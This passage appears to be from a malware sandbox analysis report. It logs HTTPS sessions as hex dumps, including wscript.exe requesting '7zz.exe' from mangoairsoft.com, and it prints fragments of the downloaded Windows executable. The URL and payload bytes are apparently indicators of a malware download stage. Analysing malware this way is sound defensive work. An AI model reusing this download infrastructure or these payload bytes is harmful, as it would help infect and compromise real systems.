39 92 ee 3b e9 7d 78 e5 e2 c2 40 bd fe ff df c4 76 bc 13 66 09 a4 fd 35 d2 9b 2e b8 4b cf 9f 2c cd 3c fa 53 90 b5 29 23 77 18 45 Data Ascii: @n}KH;SpT>Tt`Dfy0(.?.S[L:'15t3ydxGwPT9`U9oI{j7iV78$D=V2tI:Y,}o.d}jP'x<i$K!b\|Kd{9;}x@vf5.K,<S)#wE
2023-08-02 08:46:24 UTC	2050	IN	Data Raw: e9 06 e7 98 76 da f4 7d 8b 44 9b 1c 37 10 08 24 c6 63 29 58 f7 c5 91 ed ee 71 cd b6 85 fb a8 3b 9c fd c5 37 c4 52 dd 18 4e 71 87 a2 6a 0e 55 39 2f dc e2 e0 33 35 0c 62 c5 f9 40 c5 c9 3c 9d dc 91 d3 af b5 6c ca 71 db b7 a8 c4 13 17 b8 ef e3 86 de 8f 0f 59 1e 36 d2 e9 8f 62 ac f2 74 e3 65 27 02 f7 f0 54 ce cd 11 b5 95 e2 28 e8 e5 cb f4 5e 42 77 af bc bb a7 fc 41 6d 84 bc 10 9d b3 9b 53 51 3f c8 d3 94 3f 57 fa 58 8c 45 82 88 08 74 1f 81 82 c3 a2 f0 d7 4c 71 40 7b 7f fa 41 61 fc ac 01 75 94 4b 25 91 d7 ee 8f c1 0b e0 c5 d7 c3 da c2 9e c9 8a fd 93 7c 22 ea 28 11 b1 9a 80 88 18 f1 44 a2 f2 ad 71 10 10 04 00 05 00 33 53 36 33 00 00 5f 64 e8 d9 67 69 05 9d 3c b0 b7 89 2d ea b8 22 69 10 16 10 4a 02 5b 78 00 5d 20 e0 2c 77 e9 97 0e 25 60 cb b8 f2 cc e0 ef ce fa f7 Data Ascii: v}D7$c)Xq;7RNqjU9/35b@<lqY6bte'T(^BwAmSQ??WXEtLq@{AauK%\|"(Dq3S63_dgi<-"iJ[x] ,w%`
2023-08-02 08:46:24 UTC	2066	IN	Data Raw: be a2 53 61 80 91 02 65 61 06 78 29 c1 b2 e6 de 84 f8 6f 75 c9 b4 35 28 83 6a a5 72 49 a7 c5 b8 bb 29 24 76 d4 31 74 fc b3 ae 55 aa 87 da 42 f5 c3 03 ed 6e 89 ba e2 26 ce bb b1 b1 4c 2b 68 35 ac df 85 05 21 7f 2a ce 6a e6 c8 63 f8 5a c1 15 ce 0a a6 6c 46 6d 00 27 81 78 0a c1 70 29 63 61 b0 4a 19 18 6c 76 46 2b fe 2f 5d 85 68 b8 84 ed 12 07 77 27 ab 15 9e 12 ae 21 c6 a2 c2 95 60 bb 06 49 b2 3f da 42 50 dc b5 56 f7 18 27 1f 55 c6 bd 09 21 74 b1 a1 4b 40 c2 2d 80 92 11 75 12 28 df f4 5a 5b 8a 97 91 57 69 ce a1 9c ee 8f 93 10 6b e3 56 47 31 97 a4 ac ac cd 03 fa cd 06 21 b5 b0 12 24 e0 2f 9e 00 15 e5 d0 14 66 30 28 c7 e0 8d 25 52 c4 32 2b ed d7 80 f2 27 12 27 29 fd ff 6c 90 24 39 22 2c 56 8f 2b 75 e6 c0 2e ce 4a 36 0b 0b c1 45 a6 75 62 59 ed 19 4a ea 94 0b 10 Data Ascii: Saeax)ou5(jrI)$v1tUBn&L+h5!*jcZlFm'xp)caJlvF+/]hw'!`I?BPV'U!tK@-u(Z[WikVG1!$/f0(%R2+'')l$9",V+u.J6EubYJ
2023-08-02 08:46:24 UTC	2082	IN	Data Raw: f2 09 64 a1 40 05 18 1d 1c 03 b6 b0 4d c0 e3 b7 6d 0f ef 2f 93 55 00 42 92 a8 85 83 24 01 60 14 b8 56 82 61 00 44 80 92 02 61 7e 14 75 3a 04 c5 09 98 25 88 45 50 bf 17 0f 40 70 56 78 08 c7 20 25 10 40 29 00 b0 8c 91 2b 28 9c 6a 28 92 0d c9 4c 35 28 c9 8b b0 50 24 a8 57 a0 a0 29 72 71 c8 a2 e5 a2 1f 0a 42 71 52 55 83 41 52 0c 05 28 62 44 c2 35 45 13 52 e9 72 41 48 3b 3c 19 4e 27 45 48 4a 2a 75 8d 28 0c ec 3c be c0 ac e3 2c 78 eb 20 02 6d d6 d3 a5 0f f4 25 d1 74 15 09 52 2b a4 05 86 e0 2e 9a 12 ac d7 7a db ac 89 df 05 c9 42 09 04 c2 12 b0 87 a2 f4 1d c3 02 18 20 21 0a 54 a8 28 80 bd 50 89 f5 38 0c c8 30 42 1a c6 55 c0 06 8c 15 c4 05 31 ec 83 19 f1 8e 03 7d 04 d6 0b 29 a4 49 69 45 21 50 1a a7 b7 2c 7a 52 10 36 19 16 98 e4 b4 df 74 5e 87 11 67 00 6b f3 85 5e Data Ascii: d@Mm/UB$`VaDa~u:%EP@pVx %@)+(j(L5(P$W)rqBqRUAR(bD5ERrAH;<N'EHJ*u(<,x m%tR+.zB !T(P80BU1})IiE!P,zR6t^gk^
2023-08-02 08:46:24 UTC	2098	IN	Data Raw: 2a e1 87 f2 d0 ca af 92 2a 29 2a f4 09 81 e6 53 4f df c0 f0 00 00 8c 0c 59 cd 19 40 bd 9b 9e ef 9b 73 db 9c 6d 5d cb da 09 09 e8 af 34 12 8e f5 06 7f 34 81 93 48 4d 42 9a a6 3c 4e a3 30 1e 69 fe 98 df ff 03 f9 09 f4 04 23 78 8a 09 b5 2c 81 12 12 2c 07 97 03 96 b6 14 2c cc c5 2d 24 d3 28 21 c1 19 48 00 25 b6 bd 88 fe e2 f6 7e 8a 82 82 6f 5b da ac 29 96 03 63 40 6f 45 50 01 a4 08 20 c2 31 31 21 90 62 45 38 11 90 13 66 28 c5 7b 91 d8 3b 90 83 51 a0 84 d1 82 90 0a 8b 0a 90 4c 02 09 49 16 53 9b 57 98 b5 9f e6 b5 59 51 18 02 e9 03 24 a5 6d 12 93 51 0a 30 48 60 a9 12 92 5b 04 64 69 fa 41 93 67 51 06 c8 49 43 24 81 c4 12 28 01 a0 d5 27 2d 33 7a cb 22 a3 f9 7f a3 28 0a 88 7a 6f 1e 95 3a b5 c9 96 26 40 a6 96 14 b7 81 5a 52 80 03 40 36 8e ed 25 21 07 58 29 0a 61 a7 Data Ascii: *)SOY@sm]44HMB<N0i#x,,,-$(!H%~o[)c@oEP 11!bE8f({;QLISWYQ$mQ0H`[diAgQIC$('-3z"(zo:&@ZR@6%!X)a
2023-08-02 08:46:24 UTC	2114	IN	Data Raw: eb 44 ac 41 e2 ee c9 0b c8 4c 0e fe 51 11 2f 67 73 16 41 11 78 bb 39 1c e6 4a fc 12 55 3d e5 2d 3b c6 68 cd a9 bc f0 8a 66 df 4b fe 74 51 00 af de e9 11 49 e0 5b 6d b6 6a fc cd 02 c4 c9 53 0a ca 3d df 42 cd 1b 02 44 88 8d 17 c5 c8 25 5b 1d 40 bc 40 f2 39 f6 e4 41 a4 c6 3e e4 bf 88 b9 5c 1b f6 10 e0 17 5f d2 fe 8a f0 b5 51 9e d6 61 b0 46 50 4c 54 64 45 5a d9 a6 3c c7 ed f9 08 08 02 bf b9 f6 d7 49 47 53 96 97 08 ec 33 3b 48 ca 7b 63 e7 64 b0 e2 8d 41 c8 f8 e4 a2 4e 2b 45 c2 eb 54 23 71 57 8e ec b6 f6 b9 12 b1 4f 43 1a 9a 05 68 6b 35 4e e0 32 57 6b 66 5b e4 b6 ef ee 2b 71 66 d2 6f 53 ba 44 f0 b5 04 37 a7 3c 01 36 c4 be 95 0c be 29 c9 33 22 9b de d2 27 68 c6 4b 9d 2d 04 2c f0 06 79 89 c4 0b 93 7c 66 b4 f0 37 2e f9 fc 92 39 dc f6 bc ad 67 b5 ef 0f 82 89 ec 27 Data Ascii: DALQ/gsAx9JU=-;hfKtQI[mjS=BD%[@@9A>\_QaFPLTdEZ<IGS3;H{cdAN+ET#qWOChk5N2Wkf[+qfoSD7<6)3"'hK-,y\|f7.9g'
2023-08-02 08:46:24 UTC	2130	IN	Data Raw: 84 05 29 13 be 99 1b 14 d7 69 be 54 dc 18 1e eb d6 c9 0b 09 e4 b2 a7 f2 c1 1a ba 27 b9 98 05 c4 1c 54 a9 06 77 c0 12 38 83 74 af 10 a3 37 29 d2 4c e4 16 e8 d4 87 6a 8b 71 c0 15 28 db 8f 7f 95 cd 58 c0 92 d1 f9 cc 81 b0 8d c2 d6 f9 62 3e 76 ce 07 ee 3b a6 4c 0a 81 c5 1a a3 f3 eb 1e 6f c3 9e d6 4a d2 04 ec 22 cd 6b 38 d5 8b e8 5f bf 52 26 1e 8e f9 8a bc 62 bb b3 a9 5c dd 66 ac d1 fb b0 7d 61 90 16 aa 04 4f 33 ad 0c 5a 51 db 3b 83 ef 93 fa 3d 2b fc ed f6 00 02 79 c8 dc 05 e9 42 4e 53 68 5c c5 3d d8 49 ad 39 46 8a 57 ad 6e f6 db b3 8a fc 7b e4 4c 04 c2 07 d6 4b 86 73 ac 58 5a 02 7e bd 9e b4 20 3c ef d1 22 6b fa 80 7e 95 38 39 69 8f d0 8c 95 ac b5 fe 89 8e cc 63 ff 53 cf 6a eb 51 ce db 17 a4 4e 1a cc 2f 08 7b 08 7c 6a 30 a2 e7 f0 5b 99 7d 07 de 5e 55 76 60 de Data Ascii: )iT'Tw8t7)Ljq(Xb>v;LoJ"k8_R&b\f}aO3ZQ;=+yBNSh\=I9FWn{LKsXZ~ <"k~89icSjQN/{\|j0[}^Uv`
2023-08-02 08:46:24 UTC	2146	IN	Data Raw: 45 08 12 62 eb 8e bf af 0e 6b 1e 55 b8 cd 93 14 70 bf 39 3e 86 4e 39 43 13 0b de 13 60 27 22 32 f2 51 74 e9 e1 e3 29 87 a7 29 03 00 64 39 3a 31 93 49 a5 ba 39 99 83 e5 18 2f c7 de e1 bd 1b f2 86 b8 6a ae ec 39 f7 04 79 61 e4 cf 3c d9 39 ee 29 81 cc ac 8f ca 1b de 91 3d f5 13 5f 04 f6 c6 21 54 f5 6d d7 63 c1 2a 47 ee d0 6a 2b 1a ed 08 a9 dc 0a 71 36 9c 57 57 7b ec 91 1a 04 e6 bd f8 fd 05 32 48 dd 20 4b 7e ae d7 fa 6c 45 f5 6b 0a 99 3a a4 57 55 42 5c c6 f5 0c 3e 11 27 d5 3b 6e 8c 94 f5 f2 f8 b5 fa 79 fb e9 26 ec 55 3a 17 93 a6 9c c9 31 82 23 4f 12 7b 31 e9 92 ac 4b 72 90 c8 ea 77 bf d1 94 9a 44 79 62 ea cd 60 90 cc 85 89 99 34 5f 7d 28 4d e0 fe e1 0a 9d a8 84 d6 56 3b d7 28 e9 44 d3 52 64 b5 67 7e 9d 56 98 b9 b0 cd 07 81 a8 3b bc 6a d1 b0 10 26 bd 43 56 04 Data Ascii: EbkUp9>N9C`'"2Qt))d9:1I9/j9ya<9)=_!Tmc*Gj+q6WW{2H K~lEk:WUB\>';ny&U:1#O{1KrwDyb`4_}(MV;(DRdg~V;j&CV
2023-08-02 08:46:24 UTC	2162	IN	Data Raw: 7c 29 7e dc ed 17 ed de e7 03 19 45 71 f5 b9 de 00 a7 6f 4a 3d d0 09 65 36 a4 64 59 bd d9 59 29 29 29 ea e6 ef 8b e5 ca 49 49 49 dd 19 f6 6c 33 5b 10 c4 69 87 24 25 1a 8d c8 32 4b e5 35 0a 95 1c f7 16 09 93 25 69 43 2b 41 36 84 63 d9 1c f7 d4 21 ea 81 e0 c2 39 85 55 6f 63 f1 e3 bf 50 20 4a 7d e9 9a 2d a4 9b be 57 dd 56 66 b7 ba 07 2d 3d 01 99 08 70 c7 e4 01 6a 39 b6 c2 e1 d2 23 50 df 31 95 3b 43 41 41 72 55 20 03 5b f8 e1 79 5b 40 8d 8a 98 6c 0a 29 a2 2b ba 47 0b 4e 92 b6 26 e3 6c cb 6a bf c8 92 a5 1f 42 b3 54 30 8a a1 7d 88 07 98 08 86 a5 ef 44 b3 09 71 06 52 8a 05 b5 b8 f6 62 f1 74 42 f4 fc ce bf 94 2e 10 3e 05 44 14 fc d2 86 8c 0d 8d 49 20 e4 12 c8 b1 ad 48 e0 89 e2 82 84 75 27 dd 8e 4d 28 9c e4 d9 bd 05 b7 b3 43 56 9f a6 7c ac a6 f4 6c df 02 08 b9 2d Data Ascii: \|)~EqoJ=e6dYY)))IIIl3[i$%2K5%iC+A6c!9UocP J}-WVf-=pj9#P1;CAArU [y[@l)+GN&ljBT0}DqRbtB.>DI Hu'M(CV\|l-
2023-08-02 08:46:24 UTC	2178	IN	Data Raw: ff 7b 25 45 72 1b a5 70 cc 12 5c 70 67 60 1a 1e a2 04 cf 1e 93 cf cc 9d 44 ad 4d 6a bf 47 5c ff 20 b1 c6 63 3e 47 8c d5 2a af 9f b2 4d 1f 67 97 27 f8 51 3f db 7d 7b 72 33 e8 83 62 97 ce 0c 07 65 6e c5 ba a4 e1 8c 9f a1 8c 2d 53 01 e4 12 15 5c 19 af 17 d6 2f 4e 4f 8c 82 72 e2 4e 7c 1e b9 84 f7 09 07 4e 60 a3 98 4a 73 77 24 53 9d fc ba f5 90 1e 9c 39 e7 0c 05 b2 fa 67 96 d1 14 79 1d cf d0 94 d4 bd ee b3 fc 07 ad fc 4d 8d 9d 38 34 bc 43 ad 74 31 4e 76 08 5e 94 8a e1 de 0a 47 74 51 4a f3 7e 4a f4 77 40 93 06 9e c2 37 c7 f0 2c ec a2 a3 ca b4 ac c7 64 95 70 62 4f 9c 58 3c 47 5c 27 73 ed b2 7f 39 79 1b 47 e8 b0 2b bf 80 34 db 11 a4 18 0d c6 ac a7 7a 04 cc eb c0 78 01 91 5b bc 68 54 82 cc 7e 56 d7 f3 53 e5 1d a6 4d 87 2e 62 29 4a 12 c8 ca aa 7a 9b 13 dd 19 5b 85 Data Ascii: {%Erp\pg`DMjG\ c>G*Mg'Q?}{r3ben-S\/NOrN\|N`Jsw$S9gyM84Ct1Nv^GtQJ~Jw@7,dpbOX<G\'s9yG+4zx[hT~VSM.b)Jz[
2023-08-02 08:46:24 UTC	2194	IN	Data Raw: c6 ce f7 a9 f2 5c b5 5d 5c ae 47 e8 0c 68 0e cc ea c9 38 fa b5 52 54 50 c6 90 c6 7a 2d 6f a1 d5 55 99 88 88 16 8d e3 b1 ae dc c1 15 ed bf ad 12 1d 94 3e c3 a9 7f a2 25 bf d7 86 99 d8 a0 bb 99 20 38 b5 b0 d4 7c f8 59 65 88 20 08 8e 7a 54 de 0f 0f db cb 12 9d 3a ee e3 f0 5f 9d bf 66 db e6 fd ad 29 ed 5b 4d db 65 c9 46 5d 03 d2 30 2f 5e 46 25 0f c6 ff c1 79 53 22 25 20 b5 b9 50 fe bb 4e 1f cd 4d 2a 5b 68 39 d6 42 70 68 a0 1f 35 78 d1 87 6b d9 ab 6b 8f 19 c5 fe 1c aa c4 1d c6 0d ae 51 d2 60 f7 ac 48 f6 cd a9 56 16 37 37 f7 36 f5 8d b6 3e f7 61 19 a8 0f 37 01 8d 51 92 82 b4 c9 51 fd f7 21 8c eb d7 aa aa 4a bb f1 ba 51 64 4f 68 40 01 ee c6 c3 e8 ba d5 2b 07 56 4f 84 3a b5 38 cc 82 b6 48 82 00 82 8c 38 d9 b9 b1 36 ac 82 ed 66 45 f0 1f db 90 cb d6 db 00 8f c8 b3 Data Ascii: \]\Gh8RTPz-oU>% 8\|Ye zT:_f)[MeF]0/^F%yS"% PNM*[h9Bph5xkkQ`HV776>a7QQ!JQdOh@+VO:8H86fE
2023-08-02 08:46:24 UTC	2210	IN	Data Raw: 01 79 e4 71 bc 69 b4 8f 13 66 2e 37 6b f9 b7 bf 9b 02 0d 7f 5c fc 34 5e bc 88 68 7b 31 70 66 77 7a 33 7c a7 b1 93 a4 e4 1b bb ae 71 ce 8b f3 5a 66 99 2c 7a 28 7d 04 4c 96 c4 e4 72 17 5d 2d a7 72 e8 7b 61 d8 0b d8 c9 42 f7 69 26 46 a6 13 e4 34 41 e1 32 07 c0 33 00 e4 81 c9 c3 10 8e 81 2f 15 7c 6c 42 c7 26 1c 12 70 08 c7 23 04 87 10 1c 61 f2 13 38 cb 83 f7 85 8b da ca 7d ba 5b 83 2c 31 a3 76 7e d2 2f cb 59 74 92 dc 5f f1 b7 3b 71 3b 4d 8d d3 5e c3 08 1b f2 e0 18 dc 04 ca 4f f0 89 0b 69 fa d4 fe 52 5f 46 bf fd 95 1c ad 90 9d 55 a5 3b 75 ec 40 49 50 9a 76 5d 62 0c 18 03 b6 e4 32 60 3b 70 19 03 e1 92 84 5c ce a3 6b e5 02 8e c0 30 38 82 41 1c 17 4e 2d a2 70 84 ae 3a 99 7c 80 b1 a3 24 e5 b8 ba d7 93 c2 94 6e 30 18 5c 83 dc 87 ca 19 95 f2 70 e5 c1 70 86 60 38 87 Data Ascii: yqif.7k\4^h{1pfwz3\|qZf,z(}Lr]-r{aBi&F4A23/\|lB&p#a8}[,1v~/Yt_;q;M^OiR_FU;u@IPv]b2`;p\k08AN-p:\|$n0\pp`8
2023-08-02 08:46:24 UTC	2226	IN	Data Raw: 60 20 5c 3c 64 2a ab 3e 71 69 91 b5 e9 09 d4 ea fa 90 e0 e7 43 45 de ec 3f 6d 0f 5d 3f 29 7a cf 57 1d a6 95 99 1c 66 0a 57 f3 6c a7 f7 d9 7e 20 c7 e7 39 68 b2 07 78 9b ef df 67 91 91 cc bb 5e 12 ff f3 64 19 2d ce b5 1d 26 fb 9b f2 5c 1f 5a 68 af 8f e5 7a 47 4e 0b b3 56 e6 57 d6 3c 9d 92 9b e6 84 3e 14 e7 3b ee e3 fd 2b 99 ee cd 57 af 56 6a 22 55 4a 28 da 55 02 f3 0c a9 75 3c b2 46 8d bf 45 86 25 f2 37 19 60 06 32 b7 80 cc 04 aa 35 20 38 04 b5 bc cc f3 22 36 e0 7f 7f ee 33 92 0d 0f ca 11 e3 a1 a6 fd 5c 3e 3f 70 1f 5f 1d cd a4 f2 41 48 07 4a 4f c2 05 0b 51 6e 16 64 4c 12 54 ec 7c 3d b3 09 e8 18 4b 55 a3 89 25 82 d7 eb 0b a9 41 cd 7d 65 39 8d 95 49 29 59 bd 2f 08 33 b0 c1 ba 35 59 a7 5c bd 9e f7 b4 26 8e 02 35 b2 17 d6 ca ce 56 5c ca a1 1a a5 98 90 d2 ef e3 Data Ascii: ` \<d*>qiCE?m]?)zWfWl~ 9hxg^d-&\ZhzGNVW<>;+WVj"UJ(Uu<FE%7`25 8"63\>?p_AHJOQndLT\|=KU%A}e9I)Y/35Y\&5V\
2023-08-02 08:46:24 UTC	2242	IN	Data Raw: da e3 50 bb df 8f 07 22 f2 0f 21 ed 0d bd 46 f2 7b 16 02 ee df ad 09 94 a3 93 b1 9b 6b d9 e3 2c a7 9b de 8a ba 2f 22 6f 2a 99 7d ef 2c 4f 46 d3 ac 0c 6e 3c bc be b1 ad 44 95 56 4b f6 4b 0c 31 3c 00 26 a1 f2 7b dd f0 2c 52 5d ba 92 02 7e d6 fb 94 2b 54 b7 cd 0a 4c d0 96 24 40 a9 7f 81 0f a2 4b 7b b0 ec 93 f2 b3 a7 83 e4 d1 d7 43 72 66 42 1d 2b a5 df a0 ff df c0 10 2b 02 64 d0 a3 bb ca fa 4f 7e 6b eb 3e 2d 06 e2 b3 73 fc fa 57 cd 20 cd 48 7a 42 72 ad fd 3b bd 1f d6 90 21 4a 0a ec 32 13 eb eb 0d 0d cb 66 b5 79 29 0c ce 95 b4 29 a1 00 c6 ed 8f 7c 7e 20 e4 9b 5a 0c cd 6b c4 cb 57 8c 6f 76 9a 4a 80 37 4c 3c 95 54 b4 f7 d5 00 d4 07 3c 90 72 34 b5 8d bc 30 7a fb 25 29 db 46 e2 69 fa c3 a6 a9 62 39 06 2a d8 b7 96 3b 92 e0 c4 fb 85 b7 b7 a4 4d 33 1d e6 2f 89 bf de Data Ascii: P"!F{k,/"o},OFn<DVKK1<&{,R]~+TL$@K{CrfB++dO~k>-sW HzBr;!J2fy))\|~ ZkWovJ7L<T<r40z%)Fib9;M3/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.8	49702	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:46:25 UTC	2255	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/8.0.1 Accept: /
2023-08-02 08:46:25 UTC	2255	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:46:25 GMT Content-Type: application/x-msdos-program Content-Length: 587776 Connection: close Last-Modified: Tue, 25 Jul 2023 11:24:55 GMT ETag: "8f800-6014dfb053871" Accept-Ranges: bytes
2023-08-02 08:46:25 UTC	2256	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7d 11 72 52 39 70 1c 01 39 70 1c 01 39 70 1c 01 42 6c 10 01 3b 70 1c 01 ba 6c 12 01 20 70 1c 01 0f 56 16 01 5b 70 1c 01 b7 78 43 01 38 70 1c 01 39 70 1d 01 96 70 1c 01 ba 78 41 01 3e 70 1c 01 0f 56 17 01 84 70 1c 01 56 06 b6 01 19 70 1c 01 56 06 82 01 3b 70 1c 01 fe 76 1a 01 38 70 1c 01 52 69 63 68 39 70 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}rR9p9p9pBl;pl pV[pxC8p9ppxA>pVpVpV;pv8pRich9pPEL
2023-08-02 08:46:25 UTC	2271	IN	Data Raw: 3b 00 00 f6 44 24 08 01 74 07 56 e8 16 2f 00 00 59 8b c6 5e c2 04 00 b8 9c 30 47 00 e8 7d 6d 06 00 83 ec 10 53 56 57 8b f9 33 f6 8b da 6a 03 8d 4d e4 89 75 f0 89 75 e4 89 75 e8 89 75 ec e8 65 d3 ff ff 8d 55 e4 8b cb 89 75 fc e8 a5 4b 00 00 8d 45 e4 8b cf 50 e8 73 ee ff ff ff 75 e4 e8 c3 2e 00 00 59 8b c7 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c3 53 56 8b f1 33 db 6a 03 8d 4e 10 88 1e 88 5e 01 88 5e 02 88 5e 03 88 5e 04 89 5e 08 89 5e 0c 89 19 89 59 04 89 59 08 e8 07 d3 ff ff 89 5e 20 89 5e 24 89 5e 28 c7 46 2c 04 00 00 00 c7 46 1c 78 a6 47 00 8b c6 5e 5b c3 b8 be 30 47 00 e8 d7 6c 06 00 51 56 8b f1 57 33 ff 8d 4e 04 89 3e 6a 03 89 75 f0 89 39 89 79 04 89 79 08 e8 c3 d2 ff ff 8d 4e 10 6a 03 89 7d fc 89 39 89 79 04 89 79 08 e8 ae d2 ff ff 8d 4e 1c 6a 03 Data Ascii: ;D$tV/Y^0G}mSVW3jMuuuueUuKEPsu.YM_^[dSV3jN^^^^^^YY^ ^$^(F,FxG^[0GlQVW3N>ju9yyNj}9yyNj
2023-08-02 08:46:25 UTC	2287	IN	Data Raw: d8 c1 e3 02 8b 45 08 8b 40 0c 8b 14 18 8b 46 0c 8b 0c b8 e8 94 fe ff ff 84 c0 74 09 47 83 c3 04 3b 7e 08 7c df 8b 56 08 3b fa 74 15 8b 45 0c 40 3b 45 fc 89 45 0c 7e c1 32 c0 5f 5e 5b c9 c2 08 00 b0 01 eb f5 56 57 8b f1 33 ff 39 7e 18 7e 1c 8b 46 1c 8b 54 24 0c 8b 04 b8 8d 48 04 e8 c8 fc ff ff 85 c0 74 0e 47 3b 7e 18 7c e4 83 c8 ff 5f 5e c2 04 00 8b c7 eb f7 80 7c 24 04 00 ff 74 24 08 74 05 83 c1 24 eb 03 83 c1 38 e8 48 08 00 00 c2 08 00 b8 5c 38 47 00 e8 01 2d 06 00 83 ec 4c 53 56 57 8b 7d 0c 8b f1 8b 47 08 83 f8 01 7e 5f 8b 47 0c 8b 18 8b cb 89 5d 0c e8 8a fe ff ff 84 c0 75 4c 53 8b ce e8 7a ff ff ff 8b d8 85 db 7d 27 56 8d 4d a8 ff 75 0c e8 4e 00 00 00 83 65 fc 00 50 8d 4e 10 e8 6e 07 00 00 83 4d fc ff 8d 4d a8 8b d8 e8 90 cc ff ff 8b 07 6a 01 6a 00 8b Data Ascii: E@FtG;~\|V;tE@;EE~2_^[VW39~~FT$HtG;~\|_^\|$t$t$8H\8G-LSVW}G~_G]uLSz}'VMuNePNnMMjj
2023-08-02 08:46:25 UTC	2303	IN	Data Raw: 57 e8 14 30 00 00 85 c0 89 46 08 74 08 33 c0 eb 0d 83 66 08 00 01 7e 10 8b c7 83 56 14 00 5f 5e c2 04 00 83 e9 00 74 2c 49 74 25 49 74 1c 83 e9 03 74 11 83 e9 05 74 06 b8 05 40 00 80 c3 b8 04 40 00 80 c3 b8 57 00 07 80 c3 b8 0e 00 07 80 c3 6a 01 58 c3 33 c0 c3 8b c1 8b 4c 24 04 83 60 0c 00 89 48 08 c7 00 66 cb 40 00 c7 40 04 ac cb 40 00 c2 04 00 55 8b ec 53 56 57 8b 7d 08 8b f1 b8 00 00 00 80 8b 0f 3b c8 89 4d 08 72 03 89 45 08 8b 46 08 8d 5d 08 53 ff 75 08 8b 08 52 50 ff 51 0c 89 46 0c 8b 45 08 89 07 8b 46 0c f7 d8 1b c0 5f 5e 83 e0 08 5b 5d c2 04 00 55 8b ec 51 51 8b 45 08 56 57 8b f9 33 c9 8b f2 2b c1 74 12 48 74 0c 48 74 05 6a 05 58 eb 34 6a 02 eb 02 6a 01 59 53 8b 47 08 8d 5d f8 8b 10 53 51 ff 76 04 ff 36 50 ff 52 10 89 47 0c 8b 45 f8 89 06 8b 45 fc Data Ascii: W0Ft3f~V_^t,It%Ittt@@WjX3L$`Hf@@@USVW};MrEF]SuRPQFEF_^[]UQQEVW3+tHtHtjX4jjYSG]SQv6PRGEE
2023-08-02 08:46:25 UTC	2319	IN	Data Raw: ff 75 fc 8b cf 56 ff 75 08 e8 8d 84 ff ff 5f 5e c9 c2 08 00 b8 ac 41 47 00 e8 80 ad 05 00 83 ec 1c 53 56 57 8b 7d 08 8b d9 6a 01 8b 47 08 89 55 f0 3b c3 5e 75 34 80 7d 10 00 75 2e ff 35 18 ba 48 00 8d 4d e4 e8 f6 29 ff ff ff 75 0c 8b 4d f0 83 65 fc 00 8d 55 e4 56 e8 7a ff ff ff 83 4d fc ff ff 75 e4 e8 bd 6e ff ff 59 3b 5f 08 7d 6a 8b 47 0c 8b 0c 98 83 79 04 00 74 48 8b 01 66 83 38 40 75 2f 8d 45 d8 56 50 e8 4a 67 ff ff ff 75 14 8b 00 8b 4d f0 8b d0 ff 75 0c 89 75 fc 56 e8 47 00 00 00 83 4d fc ff ff 75 d8 e8 77 6e ff ff 59 eb 0e ff 75 0c 8b d1 8b 4d f0 56 e8 17 ff ff ff 43 eb a7 a1 38 ba 48 00 68 58 d3 47 00 89 45 10 8d 45 10 50 e8 29 ad 05 00 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 10 00 b8 c8 41 47 00 e8 aa ac 05 00 83 ec 18 53 56 57 33 f6 bf 20 a4 Data Ascii: uVu_^AGSVW}jGU;^u4}u.5HM)uMeUVzMunY;_}jGytHf8@u/EVPJguMuuVGMuwnYuMVC8HhXGEEP)M_^[dAGSVW3
2023-08-02 08:46:25 UTC	2335	IN	Data Raw: 00 60 00 8b c3 8b de 8b f2 55 99 6a 03 03 d8 55 57 13 f2 e8 66 68 05 00 6a 01 59 e8 ce 67 05 00 03 d8 13 f2 5f 8b d6 5e 8b c3 5d 5b 59 c3 53 8a 5c 24 08 56 8b f1 f6 c3 02 74 24 57 8d 7e fc 68 b4 29 44 00 ff 37 6a 18 56 e8 27 73 05 00 f6 c3 01 74 07 57 e8 cd 2e ff ff 59 8b c7 5f eb 15 8b ce e8 5c de 02 00 f6 c3 01 74 07 56 e8 b5 2e ff ff 59 8b c6 5e 5b c2 04 00 b8 80 47 47 00 e8 1b 6d 05 00 83 ec 1c 53 33 db 56 57 89 5d e0 c7 45 d8 cc aa 47 00 68 00 05 00 00 8d 4d d8 89 5d fc e8 88 f0 ff ff 84 c0 0f 84 80 00 00 00 8b 75 e0 33 c0 ba 00 01 00 00 88 04 30 40 3b c2 72 f8 8b ce e8 8b 00 00 00 3d 73 8c 05 29 75 60 8d 45 e4 ba 00 04 00 00 50 8d 8e 00 01 00 00 c7 45 e4 e5 55 9a 15 c7 45 e8 b5 3b 12 1f e8 93 00 00 00 89 5d ec 8b 45 ec 83 65 f0 00 8d 3c 30 8b 55 f0 Data Ascii: `UjUWfhjYg_^][YS\$Vt$W~h)D7jV'stW.Y_\tV.Y^[GGmS3VW]EGhM]u30@;r=s)u`EPEUE;]Ee<0U
